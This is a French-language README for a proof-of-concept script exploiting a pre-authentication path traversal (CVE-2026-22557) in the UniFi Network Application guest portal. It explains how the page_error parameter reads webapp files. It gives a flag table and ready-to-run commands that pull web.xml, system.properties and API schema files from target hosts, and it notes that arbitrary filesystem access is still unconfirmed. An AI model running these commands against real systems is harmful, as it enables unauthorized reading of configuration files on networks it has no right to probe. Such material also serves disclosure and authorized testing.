
PoC pour le contournement d'authentification par traversée de chemin dans UniFi Network Application (CVE-2026-22557)
Traversée de chemin pré-authentifiée dans le portail invité de l'application réseau UniFi (/guest/s/{site}/login). Le paramètre de requête page_error est transmis à un chargeur de ressources sans validation, permettant à un attaquant non authentifié de lire des fichiers depuis la webapp (par exemple WEB-INF/web.xml).
Si la page du portail invité a été personnalisée, le chargeur de ressources semble retomber sur une branche FileInputStream brute qui peut accéder à des fichiers arbitraires sur le système sous-jacent en dehors du contexte racine. Je n'ai pas encore confirmé cela et j'investiguerai plus en détail si j'ai le temps.
pip install requests
python CVE-2026-22557.py <target_url> [-f FILE] [-g GUEST_PATH] [-o OUTPUT] [-x PROXY]
| Flag | Description | Défaut |
|---|
target | URL cible (par ex. https://host:8843) | (requis) |
-f | Chemin relatif à lire | ../../web.xml |
-g | Chemin du portail invité | /guest/s/default/login |
-o | Écrire la réponse dans un fichier | (stdout) |
-x | URL du proxy | (aucun) |

# Par défaut -- lire WEB-INF/web.xml (portail invité HTTPS)
python CVE-2026-22557.py https://192.168.1.1:8843
# Portail invité HTTP
python CVE-2026-22557.py http://192.168.1.1:8880
# Lire une ressource du classpath
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../system.properties
# Lire le schéma API et l'enregistrer dans un fichier
python CVE-2026-22557.py https://192.168.1.1:8843 -f ../api/fields/Setting.json -o setting.json
# Nom de site différent
python CVE-2026-22557.py https://192.168.1.1:8843 -g /guest/s/mysite/login
# Via un proxy
python CVE-2026-22557.py https://192.168.1.1:8843 -x http://127.0.0.1:8080